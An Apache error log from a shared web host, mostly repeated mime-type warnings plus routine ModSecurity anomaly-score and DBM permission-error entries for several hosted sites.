[Fri Jul 17 10:31:53.722101 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.722204 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.829070 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.879268 2026] [ssl:error] [pid 2080166:tid 2080166] (70014)End of file found: [client 66.85.158.91:55120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:53.927805 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.927872 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.927894 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.927912 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.927952 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.927975 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.927992 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.928007 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.928026 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.928051 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.928082 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.928101 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:53.928200 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.023964 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.126335 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.225791 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.329782 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.432600 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.534413 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.636035 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.682999 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb4\\xe0\\xb7\\x90\\xe0\\xb6\\xba-5-\\xe0\\xb6\\x9a-\\xe0\\xb6\\xb4\\xe0\\xb6\\xb8\\xe0\\xb6\\xb1-\\xe0\\xb6\\xb4\\xe0\\xb7\\x8a\\xe2\\x80\\x8d\\xe0\\xb6\\xbb\\xe0\\xb7\\x81\\xe0\\xb7\\x8a\\xe0\\xb6\\xb1-\\xe0\\xb6\\x9a\\xe0\\xb7\\x92\\xe0\\xb6\\xbb\\xe0\\xb7\\x93\\xe0\\xb6\\xb8\\xe0\\xb7\\x8a-\\xe0\\xb7\\x80/feed/"] [unique_id "alm3QvTLXGCuVk4hiAPAAAAAAAs"]
[Fri Jul 17 10:31:54.683373 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb4\\xe0\\xb7\\x90\\xe0\\xb6\\xba-5-\\xe0\\xb6\\x9a-\\xe0\\xb6\\xb4\\xe0\\xb6\\xb8\\xe0\\xb6\\xb1-\\xe0\\xb6\\xb4\\xe0\\xb7\\x8a\\xe2\\x80\\x8d\\xe0\\xb6\\xbb\\xe0\\xb7\\x81\\xe0\\xb7\\x8a\\xe0\\xb6\\xb1-\\xe0\\xb6\\x9a\\xe0\\xb7\\x92\\xe0\\xb6\\xbb\\xe0\\xb7\\x93\\xe0\\xb6\\xb8\\xe0\\xb7\\x8a-\\xe0\\xb7\\x80/feed/"] [unique_id "alm3QvTLXGCuVk4hiAPAAAAAAAs"]
[Fri Jul 17 10:31:54.736752 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.746561 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm3QvTLXGCuVk4hiAPAAAAAAAs"]
[Fri Jul 17 10:31:54.839000 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.839610 2026] [security2:error] [pid 2081358:tid 2081358] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/krb5-libs/"] [unique_id "alm3QpWREna-U6bV0taibgAAABA"]
[Fri Jul 17 10:31:54.839647 2026] [security2:error] [pid 2081358:tid 2081358] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/krb5-libs/"] [unique_id "alm3QpWREna-U6bV0taibgAAABA"]
[Fri Jul 17 10:31:54.940069 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940136 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940167 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940190 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940225 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940244 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940262 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940281 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940324 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940344 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940374 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940393 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:54.940501 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.040564 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.148651 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.243612 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.349749 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.445306 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.552828 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.552954 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.553376 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dracut/"] [unique_id "alm3Q5T6UchYzP7t8WhNQgAAABI"]
[Fri Jul 17 10:31:55.553393 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dracut/"] [unique_id "alm3Q5T6UchYzP7t8WhNQgAAABI"]
[Fri Jul 17 10:31:55.654767 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.755567 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.905229 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:55.921598 2026] [security2:error] [pid 2078862:tid 2078862] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3Q1dpwFZenNBvzwM4awAAAA4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:55.921641 2026] [security2:error] [pid 2078862:tid 2078862] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3Q1dpwFZenNBvzwM4awAAAA4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:55.982986 2026] [security2:error] [pid 2075908:tid 2075908] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm3Q0j_u9-aE9qeQW0eawAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1192&page_105=1471
[Fri Jul 17 10:31:55.983033 2026] [security2:error] [pid 2075908:tid 2075908] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm3Q0j_u9-aE9qeQW0eawAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1192&page_105=1471
[Fri Jul 17 10:31:56.020987 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.062785 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.166651 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.275055 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.375875 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.380244 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3RMwb7ueECO0vce5uXQAAAA8"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:56.380280 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3RMwb7ueECO0vce5uXQAAAA8"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:56.479313 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.586116 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.693763 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.794432 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:56.932594 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.020008 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.097834 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.233393 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.305338 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.323798 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb8\\xe0\\xb7\\x90\\xe0\\xb6\\xba\\xe0\\xb7\\x92-09-\\xe0\\xb6\\xaf\\xe0\\xb7\\x9a\\xe0\\xb7\\x81\\xe0\\xb6\\xb4\\xe0\\xb7\\x8f\\xe0\\xb6\\xbd\\xe0\\xb6\\xb1\\xe0\\xb6\\xa5\\xe0\\xb6\\xba\\xe0\\xb7\\x92\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a\\xe0\\xb6\\x9c\\xe0\\xb7\\x9a-\\xe0\\xb6\\xb1\\xe0\\xb7\\x92\\xe0\\xb7\\x80/feed/"] [unique_id "alm3RTuaDdNRw9_WO14zqgAAAAg"]
[Fri Jul 17 10:31:57.324199 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xb8\\xe0\\xb7\\x90\\xe0\\xb6\\xba\\xe0\\xb7\\x92-09-\\xe0\\xb6\\xaf\\xe0\\xb7\\x9a\\xe0\\xb7\\x81\\xe0\\xb6\\xb4\\xe0\\xb7\\x8f\\xe0\\xb6\\xbd\\xe0\\xb6\\xb1\\xe0\\xb6\\xa5\\xe0\\xb6\\xba\\xe0\\xb7\\x92\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a\\xe0\\xb6\\x9c\\xe0\\xb7\\x9a-\\xe0\\xb6\\xb1\\xe0\\xb7\\x92\\xe0\\xb7\\x80/feed/"] [unique_id "alm3RTuaDdNRw9_WO14zqgAAAAg"]
[Fri Jul 17 10:31:57.416707 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.460319 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm3RTuaDdNRw9_WO14zqgAAAAg"]
[Fri Jul 17 10:31:57.515964 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.617691 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.733802 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.818768 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:57.926398 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.027749 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.127819 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.228902 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.350668 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.435665 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.537184 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.657598 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.738325 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.839453 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:58.940982 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.043353 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.148205 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.259270 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.363385 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.423999 2026] [security2:error] [pid 2078862:tid 2078862] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3R1dpwFZenNBvzwM4bwAAAA4"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:59.424030 2026] [security2:error] [pid 2078862:tid 2078862] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3R1dpwFZenNBvzwM4bwAAAA4"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:59.460812 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.561799 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.561895 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.561940 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.561972 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.561990 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562033 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562114 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562135 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562164 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562184 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562201 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562246 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562266 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562286 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562303 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562331 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562362 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562382 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562409 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562425 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562444 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562463 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562482 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562499 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562517 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562537 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562556 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562576 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562619 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:59.562651 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
